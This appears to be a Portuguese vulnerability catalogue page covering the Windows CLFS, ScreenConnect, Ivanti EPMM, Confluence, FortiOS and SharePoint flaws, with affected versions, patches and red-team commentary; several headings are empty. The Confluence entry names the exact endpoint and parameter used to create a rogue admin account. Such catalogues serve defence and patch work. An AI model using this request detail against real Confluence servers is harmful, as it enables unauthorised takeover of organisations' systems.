Privilege escalation no driver do Common Log File System (CLFS) do kernel Windows — use-after-free ou out-of-bounds write no driver clfs.sys. Explorado pelo Nokoyawa ransomware como zero-day. Kaspersky descobriu a exploração ativa. CLFS tem histórico de múltiplas vulnerabilidades — driver complexo e com histórico de bugs.

Casos Famosos

Sistemas Afetados

• Windows 10, 11 (todas as versões)
• Windows Server 2008 R2 – 2022
• Patch: Atualização de Abril 2023 (KB5025221+)

Red Team

Exploits kernel são altamente valorizados em Red Teams pois permitem escalar de qualquer usuário comprometido para SYSTEM, independentemente de configurações de segurança aplicativas.

Descrição Técnica

Authentication bypass crítico no ConnectWise ScreenConnect (ferramenta de acesso remoto amplamente usada por MSPs). Permite criar conta de administrador e acessar instâncias de clientes do MSP. Um único MSP pode gerenciar centenas de empresas clientes — comprometer o ScreenConnect é comprometer toda a base de clientes de uma vez.

Casos Famosos

Sistemas Afetados

• ConnectWise ScreenConnect < 23.9.8
• Instâncias auto-hospedadas (cloud não afetado)
• Shodan identificou 9.000+ instâncias vulneráveis expostas

Impacto MSP

MSPs são alvos de alto valor: 1 comprometimento = 100s de clientes comprometidos em cascata. CISA adicionou ao KEV com prazo de 7 dias. Exploração em massa em <48h após disclosure.

Descrição Técnica

Authentication bypass na API do Ivanti EPMM (MobileIron Core). Acesso não autenticado a endpoints de API sensíveis — acesso a informações de usuários, dispositivos e configurações MDM. Encadeado com CVE-2023-35081 (path traversal) para RCE. Explorado como zero-day contra órgãos governamentais noruegueses.

Casos Famosos

Impacto MDM

Comprometer o MDM = acesso a todos os dispositivos móveis gerenciados — capacidade de wipar, configurar, ou implantar apps maliciosos em smartphones e tablets de todos os funcionários da organização.

Sistemas Afetados

• Ivanti EPMM (MobileIron Core) < 11.10.0.2
• Ivanti EPMM < 11.9.1.1 e < 11.8.1.2
• Amplamente usado em governo e enterprise para MDM

Descrição Técnica

Broken access control crítico no Confluence Data Center e Server — permite que um atacante não autenticado crie uma conta de administrador arbitrária via requisição HTTP ao endpoint /server-info.action com parâmetro bootstrapStatusProvider.applicationConfig.setupComplete=false. Explorado como zero-day pelo grupo chinês Storm-0062 (APT Microsoft designation).

Casos Famosos

Sistemas Afetados

• Confluence Data Center & Server 8.0.0 – 8.3.2
• Versões 8.4.0, 8.5.0, 8.5.1 também afetadas
• Confluence Cloud NÃO afetado

Mitigação

Patch imediato para 8.3.3+, 8.4.3+, 8.5.2+ ou superior. Verificar criação anômala de contas admin no Confluence após 14 set/2023 como indicador de comprometimento.

Descrição Técnica

Out-of-bounds write no módulo SSL VPN do FortiOS — permite execução de código/comandos arbitrários não autenticado via requisições HTTP especialmente forjadas. CVSS 9.6. Fortinet indicou que a vulnerabilidade pode estar sendo explorada no mundo real no momento do advisory (fev/2024). 150.000+ dispositivos FortiOS expostos identificados no Shodan.

Sistemas Afetados

• FortiOS 7.4.x < 7.4.3
• FortiOS 7.2.x < 7.2.7
• FortiOS 7.0.x < 7.0.14
• FortiOS 6.4.x < 6.4.15

Casos Famosos

Contexto

CVE-2024-21762 é mais um na longa série de CVEs críticos no FortiOS SSL VPN. Fortinet recomendou desabilitar SSL-VPN como medida temporária para organizações que não podiam aplicar o patch imediatamente.

Descrição Técnica

Remote code execution pré-autenticado no Microsoft SharePoint Server (2025). Vulnerabilidade que permitiu comprometer 400+ organizações incluindo agência nuclear americana e Colt Technology Services. Explorado ativamente como zero-day. Padrão consistente com exploração de SharePoint on-premises exposto na internet.

Casos Famosos

Sistemas Afetados

• Microsoft SharePoint Server (versões específicas 2025)
• On-premises com porta 443 exposta à internet
• SharePoint Online (Microsoft 365) NÃO afetado

Red Team 2025

SharePoint on-premises continua sendo alvo preferencial em 2025. Organizações que mantêm SharePoint exposto na internet sem proteção WAF são alvos de alta prioridade para grupos APT.